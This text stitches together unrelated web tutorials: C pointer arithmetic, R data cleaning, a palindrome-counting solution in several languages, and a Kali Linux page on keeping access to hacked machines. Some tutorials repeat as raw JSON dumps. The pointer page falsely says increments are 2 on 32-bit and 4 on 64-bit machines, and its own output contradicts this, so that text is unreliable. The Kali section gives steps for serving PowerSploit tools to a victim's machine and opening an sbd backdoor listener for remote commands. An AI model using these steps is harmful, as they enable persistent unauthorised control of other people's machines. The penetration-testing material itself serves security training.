Pointer arithmetic is used to implement arithmetic operations like addition subtraction, increment etc. in C language. There are four pointer arithmetic such as addition, subtraction, increment and decrement. In 32-bit machine, it increments or decrement the value by 2 and it will add or subtract 2* number. In 64-bit machine, it increments or decrement the value by 4 and it will add or subtract 4* number. Here is an example of pointer arithmetic in C language, Live Demo #include<stdio.h> int main() { int val = 28; int *pt; pt = &val; printf("Address of pointer : %u\n",pt); pt = pt + 5; printf("Addition to pointer : %u\n",pt); pt = pt - 5; printf("Subtraction from pointer : %u\n",pt); pt = pt + 1; printf("Increment to pointer : %u\n",pt); pt = pt - 1; printf("Decrement to pointer : %u\n",pt); return 0; } Address of pointer : 3938439860 Addition to pointer : 3938439880 Subtraction from pointer : 3938439860 Increment to pointer : 3938439864 Decrement to pointer : 3938439860 In the above program, the arithmetic operations (addition, subtraction etc.) are applied to the pointer variable *pt. int *pt; pt = &val; printf("Address of pointer : %u\n",pt); pt = pt + 5; printf("Addition to pointer : %u\n",pt); pt = pt - 5; printf("Subtraction from pointer : %u\n",pt); pt = pt + 1; printf("Increment to pointer : %u\n",pt); pt = pt - 1; printf("Decrement to pointer : %u\n",pt);
[ { "code": null, "e": 1471, "s": 1062, "text": "Pointer arithmetic is used to implement arithmetic operations like addition subtraction, increment etc. in C language. There are four pointer arithmetic such as addition, subtraction, increment and decrement. In 32-bit machine, it increments or decrement the value by 2 and it will add or subtract 2* number. In 64-bit machine, it increments or decrement the value by 4 and it will add or subtract 4* number." }, { "code": null, "e": 1527, "s": 1471, "text": "Here is an example of pointer arithmetic in C language," }, { "code": null, "e": 1538, "s": 1527, "text": " Live Demo" }, { "code": null, "e": 1917, "s": 1538, "text": "#include<stdio.h>\nint main() {\n int val = 28;\n int *pt;\n pt = &val;\n printf(\"Address of pointer : %u\\n\",pt);\n pt = pt + 5;\n printf(\"Addition to pointer : %u\\n\",pt);\n pt = pt - 5;\n printf(\"Subtraction from pointer : %u\\n\",pt);\n pt = pt + 1;\n printf(\"Increment to pointer : %u\\n\",pt);\n pt = pt - 1;\n printf(\"Decrement to pointer : %u\\n\",pt);\n return 0;\n}" }, { "code": null, "e": 2088, "s": 1917, "text": "Address of pointer : 3938439860\nAddition to pointer : 3938439880\nSubtraction from pointer : 3938439860\nIncrement to pointer : 3938439864\nDecrement to pointer : 3938439860" }, { "code": null, "e": 2206, "s": 2088, "text": "In the above program, the arithmetic operations (addition, subtraction etc.) are applied to the pointer variable *pt." }, { "code": null, "e": 2489, "s": 2206, "text": "int *pt;\npt = &val;\nprintf(\"Address of pointer : %u\\n\",pt);\npt = pt + 5;\nprintf(\"Addition to pointer : %u\\n\",pt);\npt = pt - 5;\nprintf(\"Subtraction from pointer : %u\\n\",pt);\npt = pt + 1;\nprintf(\"Increment to pointer : %u\\n\",pt);\npt = pt - 1;\nprintf(\"Decrement to pointer : %u\\n\",pt);" } ]
Preprocessing Large Datasets: Online Retail Data with 500k+ Instances | by Dina Jankovic | Towards Data Science
Few months ago I had the opportunity to work on a project with a huge data set with over 500 000 rows! To be honest, it was the very first time I had to handle an insane amount of data, but I thought it would be fun to play with it and explore new data mining techniques. In this post, I am going to explain how I handled this issue and ended up with a clean data set that is convenient to work with. The R code is also provided. The data set in question is available here at the UCI Machine Learning Repository. It is a transactional data set which contains all the transactions occurring between 01/12/2010 and 09/12/2011 for a UK-based and registered non-store online retail. The company mainly sells unique all-occasion gifts; many customers of the company are wholesalers. Attribute information can be found in the provided link. My ultimate goal was to do Market Basket Analysis on this data and figure out the association rules. However, the very first step is to clean the data. I saved the data set as a .csv file and briefly looked over all the rows. I realized that I may not be able to notice the most important patterns and details because of the dimensionality issue. However, I noticed that some cells are empty, and those are missing values. They were recoded into NA for the sake of convenience. I also found where the missing values are, and how many. dataset = read.csv("OnlineRetail.csv", na.strings = c("","NA"))attach(dataset)#checking if there any missing values, where are they missing, and how many of them are missingany(is.na(dataset))[1] TRUEapply(dataset, 2, function(x) any(is.na(x)))InvoiceNo StockCode Description Quantity InvoiceDate UnitPrice CustomerID CountryFALSE FALSE TRUE FALSE FALSE FALSE TRUE FALSEsum(is.na(CustomerID))[1] 135080sum(is.na(Description))[1] 1454 InvoiceNo is of type integer; however, it’d better to be of type character so that we can apply string functions. The leading and trailing white spaces were removed with the trim function both in InvoiceNo and Description. dataset$InvoiceNo = as.character(InvoiceNo)trim = function (x) gsub("^\\s+|\\s+$", "", x)dataset$InvoiceNo = trim(InvoiceNo)dataset$Description = trim(as.character(Description)) The invoice numbers starting with C are actually cancellations, so we may want to get rid of them. I introduced a function called is_C which checks if a string starts with C. We subset the original data, and obtain dataset2 (without the cancellations) and dataset3 (without empty item descriptions). We can see that the original data set had 541 909 observations, and now we have 531 167 observations in dataset3. There were nearly 10 000 useless observations that we just got rid of! is_C = function (x) startsWith(x,"C")dataset2 = dataset[which(!is_C(dataset$InvoiceNo)),] #subsettingdataset3 = subset(dataset2,!is.na(dataset2$Description)) #subsetting Next, I looked over the rows one more time, and figured out that many item descriptions don’t make any sense. For example, I saw symbols such as “?” and words like DAMAGED, SMASHED, LOST, etc. It’d be a good idea to get rid of these undesirable items. I came up with a list of interesting buzzwords: buzzwords = c("WRONG","LOST", "CRUSHED", "SMASHED", "DAMAGED", "FOUND", "THROWN", "MISSING", "AWAY", "\\?", "CHECK", "POSTAGE", "MANUAL", "CHARGES", "AMAZON", "FEE", "FAULT", "SALES", "ADJUST", "COUNTED", "LABEL", "INCORRECT", "SOLD", "BROKEN", "BARCODE", "CRACKED", "RETURNED", "MAILOUT", "DELIVERY", "MIX UP", "MOULDY", "PUT ASIDE", "ERROR", "DESTROYED", "RUSTY") If any of the items contain one of these words, it will be removed. The following function isUndesirable tests whether or not an item is “undesirable”. library(stringr) #function str_detectisUndesirable = function(x){c = FALSE #assume that the string is undesirable (FALSE), and perhaps switch to desirable (TRUE)for (i in 1:(length(buzzwords))){ c = c || ifelse(str_detect(toupper(x),buzzwords[i]),TRUE,FALSE)}#now we know whether or not the string is undesirablereturn(c)} Now we can subset dataset3 such that Quantity is greater than 0 (otherwise it doesn’t make sense), and the item name is “desirable”. We obtain dataset4, and finally dataset5. The InvoiceDate was converted to a POSIXct object, and the exact time of order was excluded. The Description column was factored. dataset4 = subset(dataset3, dataset3$Quantity > 0)dataset5 = dataset4[which(!isUndesirable2(as.character(dataset4$Description))),]Time = format(as.POSIXct(strptime(dataset5$InvoiceDate,"%Y-%m-%d %H:%M",tz="")) ,format = "%H:%M:%S")dataset5$InvoiceDate = as.Date(dataset5$InvoiceDate)dataset5$Description = as.factor(dataset5$Description) And that’s it! Now we have dataset5 with 530 653 observations, ready to be used for Market Basket Analysis. Note that this data set still has missing values, in the CustomerID column. However, that is irrelevant — why would we care about a customer’s ID? The invoice number is more important for finding the association rules and further analysis. However, if we wanted to use this data in another analysis, we could preprocess it in a different way. For the full R code, please visit my GitHub profile.
[ { "code": null, "e": 602, "s": 172, "text": "Few months ago I had the opportunity to work on a project with a huge data set with over 500 000 rows! To be honest, it was the very first time I had to handle an insane amount of data, but I thought it would be fun to play with it and explore new data mining techniques. In this post, I am going to explain how I handled this issue and ended up with a clean data set that is convenient to work with. The R code is also provided." }, { "code": null, "e": 1159, "s": 602, "text": "The data set in question is available here at the UCI Machine Learning Repository. It is a transactional data set which contains all the transactions occurring between 01/12/2010 and 09/12/2011 for a UK-based and registered non-store online retail. The company mainly sells unique all-occasion gifts; many customers of the company are wholesalers. Attribute information can be found in the provided link. My ultimate goal was to do Market Basket Analysis on this data and figure out the association rules. However, the very first step is to clean the data." }, { "code": null, "e": 1542, "s": 1159, "text": "I saved the data set as a .csv file and briefly looked over all the rows. I realized that I may not be able to notice the most important patterns and details because of the dimensionality issue. However, I noticed that some cells are empty, and those are missing values. They were recoded into NA for the sake of convenience. I also found where the missing values are, and how many." }, { "code": null, "e": 1976, "s": 1542, "text": "dataset = read.csv(\"OnlineRetail.csv\", na.strings = c(\"\",\"NA\"))attach(dataset)#checking if there any missing values, where are they missing, and how many of them are missingany(is.na(dataset))[1] TRUEapply(dataset, 2, function(x) any(is.na(x)))InvoiceNo StockCode Description Quantity InvoiceDate UnitPrice CustomerID CountryFALSE FALSE TRUE FALSE FALSE FALSE TRUE FALSEsum(is.na(CustomerID))[1] 135080sum(is.na(Description))[1] 1454" }, { "code": null, "e": 2199, "s": 1976, "text": "InvoiceNo is of type integer; however, it’d better to be of type character so that we can apply string functions. The leading and trailing white spaces were removed with the trim function both in InvoiceNo and Description." }, { "code": null, "e": 2377, "s": 2199, "text": "dataset$InvoiceNo = as.character(InvoiceNo)trim = function (x) gsub(\"^\\\\s+|\\\\s+$\", \"\", x)dataset$InvoiceNo = trim(InvoiceNo)dataset$Description = trim(as.character(Description))" }, { "code": null, "e": 2862, "s": 2377, "text": "The invoice numbers starting with C are actually cancellations, so we may want to get rid of them. I introduced a function called is_C which checks if a string starts with C. We subset the original data, and obtain dataset2 (without the cancellations) and dataset3 (without empty item descriptions). We can see that the original data set had 541 909 observations, and now we have 531 167 observations in dataset3. There were nearly 10 000 useless observations that we just got rid of!" }, { "code": null, "e": 3032, "s": 2862, "text": "is_C = function (x) startsWith(x,\"C\")dataset2 = dataset[which(!is_C(dataset$InvoiceNo)),] #subsettingdataset3 = subset(dataset2,!is.na(dataset2$Description)) #subsetting" }, { "code": null, "e": 3332, "s": 3032, "text": "Next, I looked over the rows one more time, and figured out that many item descriptions don’t make any sense. For example, I saw symbols such as “?” and words like DAMAGED, SMASHED, LOST, etc. It’d be a good idea to get rid of these undesirable items. I came up with a list of interesting buzzwords:" }, { "code": null, "e": 3698, "s": 3332, "text": "buzzwords = c(\"WRONG\",\"LOST\", \"CRUSHED\", \"SMASHED\", \"DAMAGED\", \"FOUND\", \"THROWN\", \"MISSING\", \"AWAY\", \"\\\\?\", \"CHECK\", \"POSTAGE\", \"MANUAL\", \"CHARGES\", \"AMAZON\", \"FEE\", \"FAULT\", \"SALES\", \"ADJUST\", \"COUNTED\", \"LABEL\", \"INCORRECT\", \"SOLD\", \"BROKEN\", \"BARCODE\", \"CRACKED\", \"RETURNED\", \"MAILOUT\", \"DELIVERY\", \"MIX UP\", \"MOULDY\", \"PUT ASIDE\", \"ERROR\", \"DESTROYED\", \"RUSTY\")" }, { "code": null, "e": 3850, "s": 3698, "text": "If any of the items contain one of these words, it will be removed. The following function isUndesirable tests whether or not an item is “undesirable”." }, { "code": null, "e": 4178, "s": 3850, "text": "library(stringr) #function str_detectisUndesirable = function(x){c = FALSE #assume that the string is undesirable (FALSE), and perhaps switch to desirable (TRUE)for (i in 1:(length(buzzwords))){ c = c || ifelse(str_detect(toupper(x),buzzwords[i]),TRUE,FALSE)}#now we know whether or not the string is undesirablereturn(c)}" }, { "code": null, "e": 4483, "s": 4178, "text": "Now we can subset dataset3 such that Quantity is greater than 0 (otherwise it doesn’t make sense), and the item name is “desirable”. We obtain dataset4, and finally dataset5. The InvoiceDate was converted to a POSIXct object, and the exact time of order was excluded. The Description column was factored." }, { "code": null, "e": 4821, "s": 4483, "text": "dataset4 = subset(dataset3, dataset3$Quantity > 0)dataset5 = dataset4[which(!isUndesirable2(as.character(dataset4$Description))),]Time = format(as.POSIXct(strptime(dataset5$InvoiceDate,\"%Y-%m-%d %H:%M\",tz=\"\")) ,format = \"%H:%M:%S\")dataset5$InvoiceDate = as.Date(dataset5$InvoiceDate)dataset5$Description = as.factor(dataset5$Description)" }, { "code": null, "e": 5272, "s": 4821, "text": "And that’s it! Now we have dataset5 with 530 653 observations, ready to be used for Market Basket Analysis. Note that this data set still has missing values, in the CustomerID column. However, that is irrelevant — why would we care about a customer’s ID? The invoice number is more important for finding the association rules and further analysis. However, if we wanted to use this data in another analysis, we could preprocess it in a different way." } ]
Count of palindromic strings of size upto N consisting of first K alphabets occurring at most twice - GeeksforGeeks
26 Aug, 2021 Given two integers N and K, the task is to find the number of palindromic strings of size at most N consisting of the first K lowercase alphabets such that each character in a string doesn’t appear more than twice. Examples: Input: N = 3, K = 2Output: 6Explanation:The possible strings are:“a”, “b”, “aa”, “bb”, “aba”, “bab”. Input: N = 4, K = 3Output: 18Explanation:The possible strings are: “a”, “b”, “c”, “aa”, “bb”, “cc”, “aba”, “aca”, “bab”, “bcb”, “cac”, “cbc”, “abba”, “acca”, “baab”, “bccb”, “caac”, “cbbc”. Approach: The given problem can be solved based on the following observations: Let’s try to build a 4 digit palindrome(N = 4) with only the first 3 English letters(K = 3). So, the idea is to create an empty string ( _ _ _ _ ) and now to get a palindrome out of it, only the two digits in one in its one half can be filled because the other two would be decided on the basis of them, i.e., if first 2 places are chosen to fill with a character of choice the last two will be same to that so that the string should be a palindrome. Here in this case, if a is filled in first position and b in second then the only choice remaining for 3rd and 4th is to be filled with b and a respectively. So this means, to find the number of palindromic strings with length 4 (N = 4) with only the first 3 letters (K = 3), count all the combinations possible for the first 2 digits(= N/2) i.e., 3*2=6 (3 choices for the first position and 2 choices for the second). The above-explained case is for an even length string (N is even), and for an odd length string (N is odd), N/2 + 1 indexes can be filled. Follow the steps below to solve the given problem: Fo finding the count palindromic strings of length at most N, then count palindromic strings of each length from 1 to N and then add them together.For the value of N as:If N is even, then find all combinations possible till N/2 because only half of the positions can be filled.If N is odd, then find all combinations possible till N/2 +1, and extra + 1 for the element as the middle element.Add all of them together and print the answer accordingly. Fo finding the count palindromic strings of length at most N, then count palindromic strings of each length from 1 to N and then add them together. For the value of N as:If N is even, then find all combinations possible till N/2 because only half of the positions can be filled.If N is odd, then find all combinations possible till N/2 +1, and extra + 1 for the element as the middle element. If N is even, then find all combinations possible till N/2 because only half of the positions can be filled. If N is odd, then find all combinations possible till N/2 +1, and extra + 1 for the element as the middle element. Add all of them together and print the answer accordingly. Below is the implementation of the above approach: C++ Java Python3 C# Javascript // C++ program for the above approach #include <bits/stdc++.h>using namespace std; // Function of return the number of// palindromic strings of length N with// first K alphabets possibleint lengthNPalindrome(int N, int K){ int half = N / 2; // If N is odd, half + 1 position // can be filled to cope with the // extra middle element if (N & 1) { half += 1; } int ans = 1; for (int i = 1; i <= half; i++) { ans *= K; // K is reduced by one, because // count of choices for the next // position is reduced by 1 as // a element can only once K--; } // Return the possible count return ans;} // Function to find the count of palindromic// string of first K characters according// to the given criteriaint palindromicStrings(int N, int K){ // If N=1, then only K palindromic // strings possible. if (N == 1) { return K; } // If N=2, the 2*K palindromic strings // possible, K for N=1 and K for N=2 if (N == 2) { return 2 * K; } int ans = 0; // Initialize ans with the count of // strings possible till N = 2 ans += (2 * K); for (int i = 3; i <= N; i++) { ans += lengthNPalindrome(i, K); } // Return the possible count return ans;} // Driver Codeint main(){ int N = 4, K = 3; cout << palindromicStrings(N, K); return 0;} // Java program for the above approachimport java.io.*; class GFG { // Function of return the number of // palindromic strings of length N with // first K alphabets possible static int lengthNPalindrome(int N, int K) { int half = N / 2; // If N is odd, half + 1 position // can be filled to cope with the // extra middle element if (N % 2 == 1) { half += 1; } int ans = 1; for (int i = 1; i <= half; i++) { ans *= K; // K is reduced by one, because // count of choices for the next // position is reduced by 1 as // a element can only once K--; } // Return the possible count return ans; } // Function to find the count of palindromic // string of first K characters according // to the given criteria static int palindromicStrings(int N, int K) { // If N=1, then only K palindromic // strings possible. if (N == 1) { return K; } // If N=2, the 2*K palindromic strings // possible, K for N=1 and K for N=2 if (N == 2) { return 2 * K; } int ans = 0; // Initialize ans with the count of // strings possible till N = 2 ans += (2 * K); for (int i = 3; i <= N; i++) { ans += lengthNPalindrome(i, K); } // Return the possible count return ans; } // Driver Code public static void main(String[] args) { int N = 4, K = 3; System.out.println(palindromicStrings(N, K)); }}// This code is contributed by Potta Lokesh # Python3 program for the above approach # Function of return the number of# palindromic strings of length N with# first K alphabets possibledef lengthNPalindrome(N, K) : half = N // 2; # If N is odd, half + 1 position # can be filled to cope with the # extra middle element if (N & 1) : half += 1; ans = 1; for i in range(1, half + 1) : ans *= K; # K is reduced by one, because # count of choices for the next # position is reduced by 1 as # a element can only once K -= 1; # Return the possible count return ans; # Function to find the count of palindromic# string of first K characters according# to the given criteriadef palindromicStrings(N, K) : # If N=1, then only K palindromic # strings possible. if (N == 1) : return K; # If N=2, the 2*K palindromic strings # possible, K for N=1 and K for N=2 if (N == 2) : return 2 * K; ans = 0; # Initialize ans with the count of # strings possible till N = 2 ans += (2 * K); for i in range(3, N + 1) : ans += lengthNPalindrome(i, K); # Return the possible count return ans; # Driver Codeif __name__ == "__main__" : N = 4; K = 3; print(palindromicStrings(N, K)); # This code is contributed by AnkThon // C# program for the above approachusing System; class GFG{ // Function of return the number of // palindromic strings of length N with // first K alphabets possible static int lengthNPalindrome(int N, int K) { int half = N / 2; // If N is odd, half + 1 position // can be filled to cope with the // extra middle element if (N % 2 == 1) { half += 1; } int ans = 1; for (int i = 1; i <= half; i++) { ans *= K; // K is reduced by one, because // count of choices for the next // position is reduced by 1 as // a element can only once K--; } // Return the possible count return ans; } // Function to find the count of palindromic // string of first K characters according // to the given criteria static int palindromicStrings(int N, int K) { // If N=1, then only K palindromic // strings possible. if (N == 1) { return K; } // If N=2, the 2*K palindromic strings // possible, K for N=1 and K for N=2 if (N == 2) { return 2 * K; } int ans = 0; // Initialize ans with the count of // strings possible till N = 2 ans += (2 * K); for (int i = 3; i <= N; i++) { ans += lengthNPalindrome(i, K); } // Return the possible count return ans; } // Driver Code public static void Main(String[] args) { int N = 4, K = 3; Console.Write(palindromicStrings(N, K)); }} // This code is contributed by shivanisinghss2110 <script> // Javascript program for the above approach // Function of return the number of// palindromic strings of length N with// first K alphabets possiblefunction lengthNPalindrome(N,K){ var half = N / 2; // If N is odd, half + 1 position // can be filled to cope with the // extra middle element if (N & 1) { half += 1; } var ans = 1; var i; for(i = 1; i <= half; i++) { ans *= K; // K is reduced by one, because // count of choices for the next // position is reduced by 1 as // a element can only once K--; } // Return the possible count return ans;} // Function to find the count of palindromic// string of first K characters according// to the given criteriafunction palindromicStrings(N, K){ // If N=1, then only K palindromic // strings possible. if (N == 1) { return K; } // If N=2, the 2*K palindromic strings // possible, K for N=1 and K for N=2 if (N == 2) { return 2 * K; } ans = 0; // Initialize ans with the count of // strings possible till N = 2 ans += (2 * K); for (i = 3; i <= N; i++) { ans += lengthNPalindrome(i, K); } // Return the possible count return ans;} // Driver Code var N = 4, K = 3; document.write(palindromicStrings(N, K)); // This code is contributed by ipg2016107.</script> 18 Time Complexity: O(N2)Auxiliary Space: O(1) lokeshpotta20 shivanisinghss2110 ankthon ipg2016107 palindrome Combinatorial Mathematical Strings Strings Mathematical Combinatorial palindrome Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Combinations with repetitions Ways to sum to N using Natural Numbers up to K with repetitions allowed Generate all possible combinations of at most X characters from a given array Given number of matches played, find number of teams in tournament Number of handshakes such that a person shakes hands only once Program for Fibonacci numbers C++ Data Types Set in C++ Standard Template Library (STL) Coin Change | DP-7 Merge two sorted arrays
[ { "code": null, "e": 25452, "s": 25424, "text": "\n26 Aug, 2021" }, { "code": null, "e": 25667, "s": 25452, "text": "Given two integers N and K, the task is to find the number of palindromic strings of size at most N consisting of the first K lowercase alphabets such that each character in a string doesn’t appear more than twice." }, { "code": null, "e": 25677, "s": 25667, "text": "Examples:" }, { "code": null, "e": 25778, "s": 25677, "text": "Input: N = 3, K = 2Output: 6Explanation:The possible strings are:“a”, “b”, “aa”, “bb”, “aba”, “bab”." }, { "code": null, "e": 25969, "s": 25778, "text": "Input: N = 4, K = 3Output: 18Explanation:The possible strings are: “a”, “b”, “c”, “aa”, “bb”, “cc”, “aba”, “aca”, “bab”, “bcb”, “cac”, “cbc”, “abba”, “acca”, “baab”, “bccb”, “caac”, “cbbc”." }, { "code": null, "e": 26048, "s": 25969, "text": "Approach: The given problem can be solved based on the following observations:" }, { "code": null, "e": 26499, "s": 26048, "text": "Let’s try to build a 4 digit palindrome(N = 4) with only the first 3 English letters(K = 3). So, the idea is to create an empty string ( _ _ _ _ ) and now to get a palindrome out of it, only the two digits in one in its one half can be filled because the other two would be decided on the basis of them, i.e., if first 2 places are chosen to fill with a character of choice the last two will be same to that so that the string should be a palindrome." }, { "code": null, "e": 26657, "s": 26499, "text": "Here in this case, if a is filled in first position and b in second then the only choice remaining for 3rd and 4th is to be filled with b and a respectively." }, { "code": null, "e": 26918, "s": 26657, "text": "So this means, to find the number of palindromic strings with length 4 (N = 4) with only the first 3 letters (K = 3), count all the combinations possible for the first 2 digits(= N/2) i.e., 3*2=6 (3 choices for the first position and 2 choices for the second)." }, { "code": null, "e": 27057, "s": 26918, "text": "The above-explained case is for an even length string (N is even), and for an odd length string (N is odd), N/2 + 1 indexes can be filled." }, { "code": null, "e": 27108, "s": 27057, "text": "Follow the steps below to solve the given problem:" }, { "code": null, "e": 27558, "s": 27108, "text": "Fo finding the count palindromic strings of length at most N, then count palindromic strings of each length from 1 to N and then add them together.For the value of N as:If N is even, then find all combinations possible till N/2 because only half of the positions can be filled.If N is odd, then find all combinations possible till N/2 +1, and extra + 1 for the element as the middle element.Add all of them together and print the answer accordingly." }, { "code": null, "e": 27706, "s": 27558, "text": "Fo finding the count palindromic strings of length at most N, then count palindromic strings of each length from 1 to N and then add them together." }, { "code": null, "e": 27951, "s": 27706, "text": "For the value of N as:If N is even, then find all combinations possible till N/2 because only half of the positions can be filled.If N is odd, then find all combinations possible till N/2 +1, and extra + 1 for the element as the middle element." }, { "code": null, "e": 28060, "s": 27951, "text": "If N is even, then find all combinations possible till N/2 because only half of the positions can be filled." }, { "code": null, "e": 28175, "s": 28060, "text": "If N is odd, then find all combinations possible till N/2 +1, and extra + 1 for the element as the middle element." }, { "code": null, "e": 28234, "s": 28175, "text": "Add all of them together and print the answer accordingly." }, { "code": null, "e": 28285, "s": 28234, "text": "Below is the implementation of the above approach:" }, { "code": null, "e": 28289, "s": 28285, "text": "C++" }, { "code": null, "e": 28294, "s": 28289, "text": "Java" }, { "code": null, "e": 28302, "s": 28294, "text": "Python3" }, { "code": null, "e": 28305, "s": 28302, "text": "C#" }, { "code": null, "e": 28316, "s": 28305, "text": "Javascript" }, { "code": "// C++ program for the above approach #include <bits/stdc++.h>using namespace std; // Function of return the number of// palindromic strings of length N with// first K alphabets possibleint lengthNPalindrome(int N, int K){ int half = N / 2; // If N is odd, half + 1 position // can be filled to cope with the // extra middle element if (N & 1) { half += 1; } int ans = 1; for (int i = 1; i <= half; i++) { ans *= K; // K is reduced by one, because // count of choices for the next // position is reduced by 1 as // a element can only once K--; } // Return the possible count return ans;} // Function to find the count of palindromic// string of first K characters according// to the given criteriaint palindromicStrings(int N, int K){ // If N=1, then only K palindromic // strings possible. if (N == 1) { return K; } // If N=2, the 2*K palindromic strings // possible, K for N=1 and K for N=2 if (N == 2) { return 2 * K; } int ans = 0; // Initialize ans with the count of // strings possible till N = 2 ans += (2 * K); for (int i = 3; i <= N; i++) { ans += lengthNPalindrome(i, K); } // Return the possible count return ans;} // Driver Codeint main(){ int N = 4, K = 3; cout << palindromicStrings(N, K); return 0;}", "e": 29702, "s": 28316, "text": null }, { "code": "// Java program for the above approachimport java.io.*; class GFG { // Function of return the number of // palindromic strings of length N with // first K alphabets possible static int lengthNPalindrome(int N, int K) { int half = N / 2; // If N is odd, half + 1 position // can be filled to cope with the // extra middle element if (N % 2 == 1) { half += 1; } int ans = 1; for (int i = 1; i <= half; i++) { ans *= K; // K is reduced by one, because // count of choices for the next // position is reduced by 1 as // a element can only once K--; } // Return the possible count return ans; } // Function to find the count of palindromic // string of first K characters according // to the given criteria static int palindromicStrings(int N, int K) { // If N=1, then only K palindromic // strings possible. if (N == 1) { return K; } // If N=2, the 2*K palindromic strings // possible, K for N=1 and K for N=2 if (N == 2) { return 2 * K; } int ans = 0; // Initialize ans with the count of // strings possible till N = 2 ans += (2 * K); for (int i = 3; i <= N; i++) { ans += lengthNPalindrome(i, K); } // Return the possible count return ans; } // Driver Code public static void main(String[] args) { int N = 4, K = 3; System.out.println(palindromicStrings(N, K)); }}// This code is contributed by Potta Lokesh", "e": 31382, "s": 29702, "text": null }, { "code": "# Python3 program for the above approach # Function of return the number of# palindromic strings of length N with# first K alphabets possibledef lengthNPalindrome(N, K) : half = N // 2; # If N is odd, half + 1 position # can be filled to cope with the # extra middle element if (N & 1) : half += 1; ans = 1; for i in range(1, half + 1) : ans *= K; # K is reduced by one, because # count of choices for the next # position is reduced by 1 as # a element can only once K -= 1; # Return the possible count return ans; # Function to find the count of palindromic# string of first K characters according# to the given criteriadef palindromicStrings(N, K) : # If N=1, then only K palindromic # strings possible. if (N == 1) : return K; # If N=2, the 2*K palindromic strings # possible, K for N=1 and K for N=2 if (N == 2) : return 2 * K; ans = 0; # Initialize ans with the count of # strings possible till N = 2 ans += (2 * K); for i in range(3, N + 1) : ans += lengthNPalindrome(i, K); # Return the possible count return ans; # Driver Codeif __name__ == \"__main__\" : N = 4; K = 3; print(palindromicStrings(N, K)); # This code is contributed by AnkThon", "e": 32693, "s": 31382, "text": null }, { "code": "// C# program for the above approachusing System; class GFG{ // Function of return the number of // palindromic strings of length N with // first K alphabets possible static int lengthNPalindrome(int N, int K) { int half = N / 2; // If N is odd, half + 1 position // can be filled to cope with the // extra middle element if (N % 2 == 1) { half += 1; } int ans = 1; for (int i = 1; i <= half; i++) { ans *= K; // K is reduced by one, because // count of choices for the next // position is reduced by 1 as // a element can only once K--; } // Return the possible count return ans; } // Function to find the count of palindromic // string of first K characters according // to the given criteria static int palindromicStrings(int N, int K) { // If N=1, then only K palindromic // strings possible. if (N == 1) { return K; } // If N=2, the 2*K palindromic strings // possible, K for N=1 and K for N=2 if (N == 2) { return 2 * K; } int ans = 0; // Initialize ans with the count of // strings possible till N = 2 ans += (2 * K); for (int i = 3; i <= N; i++) { ans += lengthNPalindrome(i, K); } // Return the possible count return ans; } // Driver Code public static void Main(String[] args) { int N = 4, K = 3; Console.Write(palindromicStrings(N, K)); }} // This code is contributed by shivanisinghss2110", "e": 34371, "s": 32693, "text": null }, { "code": "<script> // Javascript program for the above approach // Function of return the number of// palindromic strings of length N with// first K alphabets possiblefunction lengthNPalindrome(N,K){ var half = N / 2; // If N is odd, half + 1 position // can be filled to cope with the // extra middle element if (N & 1) { half += 1; } var ans = 1; var i; for(i = 1; i <= half; i++) { ans *= K; // K is reduced by one, because // count of choices for the next // position is reduced by 1 as // a element can only once K--; } // Return the possible count return ans;} // Function to find the count of palindromic// string of first K characters according// to the given criteriafunction palindromicStrings(N, K){ // If N=1, then only K palindromic // strings possible. if (N == 1) { return K; } // If N=2, the 2*K palindromic strings // possible, K for N=1 and K for N=2 if (N == 2) { return 2 * K; } ans = 0; // Initialize ans with the count of // strings possible till N = 2 ans += (2 * K); for (i = 3; i <= N; i++) { ans += lengthNPalindrome(i, K); } // Return the possible count return ans;} // Driver Code var N = 4, K = 3; document.write(palindromicStrings(N, K)); // This code is contributed by ipg2016107.</script>", "e": 35752, "s": 34371, "text": null }, { "code": null, "e": 35758, "s": 35755, "text": "18" }, { "code": null, "e": 35806, "s": 35762, "text": "Time Complexity: O(N2)Auxiliary Space: O(1)" }, { "code": null, "e": 35822, "s": 35808, "text": "lokeshpotta20" }, { "code": null, "e": 35841, "s": 35822, "text": "shivanisinghss2110" }, { "code": null, "e": 35849, "s": 35841, "text": "ankthon" }, { "code": null, "e": 35860, "s": 35849, "text": "ipg2016107" }, { "code": null, "e": 35871, "s": 35860, "text": "palindrome" }, { "code": null, "e": 35885, "s": 35871, "text": "Combinatorial" }, { "code": null, "e": 35898, "s": 35885, "text": "Mathematical" }, { "code": null, "e": 35906, "s": 35898, "text": "Strings" }, { "code": null, "e": 35914, "s": 35906, "text": "Strings" }, { "code": null, "e": 35927, "s": 35914, "text": "Mathematical" }, { "code": null, "e": 35941, "s": 35927, "text": "Combinatorial" }, { "code": null, "e": 35952, "s": 35941, "text": "palindrome" }, { "code": null, "e": 36050, "s": 35952, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 36080, "s": 36050, "text": "Combinations with repetitions" }, { "code": null, "e": 36152, "s": 36080, "text": "Ways to sum to N using Natural Numbers up to K with repetitions allowed" }, { "code": null, "e": 36230, "s": 36152, "text": "Generate all possible combinations of at most X characters from a given array" }, { "code": null, "e": 36297, "s": 36230, "text": "Given number of matches played, find number of teams in tournament" }, { "code": null, "e": 36360, "s": 36297, "text": "Number of handshakes such that a person shakes hands only once" }, { "code": null, "e": 36390, "s": 36360, "text": "Program for Fibonacci numbers" }, { "code": null, "e": 36405, "s": 36390, "text": "C++ Data Types" }, { "code": null, "e": 36448, "s": 36405, "text": "Set in C++ Standard Template Library (STL)" }, { "code": null, "e": 36467, "s": 36448, "text": "Coin Change | DP-7" } ]
Kali Linux - Maintaining Access
In this chapter, we will see the tools that Kali uses to maintain connection and for access to a hacked machine even when it connects and disconnects again. This is a tool that is for Windows machines. It has PowerShell installed in victims machine. This tool helps the hacker to connect with the victim’s machine via PowerShell. To open it, open the terminal on the left and type the following command to enter into the powersploit folder − cd /usr/share/powersploit/ If you type “ls” it will list all the powersploit tools that you can download and install in the victim’s machine after you have gained access. Most of them are name self-explained according to their names. An easy way to download this tool on the victim’s machine is to create a web server, which powersploit tools allow to create easily using the following command − python -m SimpleHTTPServer After this, if you type: http://<Kali machine ip_address>:8000/ following is the result. sbd is a tool similar to Netcat. It is portable and can be used in Linux and Microsoft machines. sbd features AES-CBC-128 + HMAC-SHA1 encryption> Basically, it helps to connect to a victim’s machine any time on a specific port and send commands remotely. To open it, go to the terminal and type “sbd -l -p port” for the server to accept connections. In this case, let us put port 44 where the server will listen. On the victim’s site, type “sbd IPofserver port”. A connection will be established where we can send the remote commands. In this case, it is “localhost” since we have performed the test on the same machine. 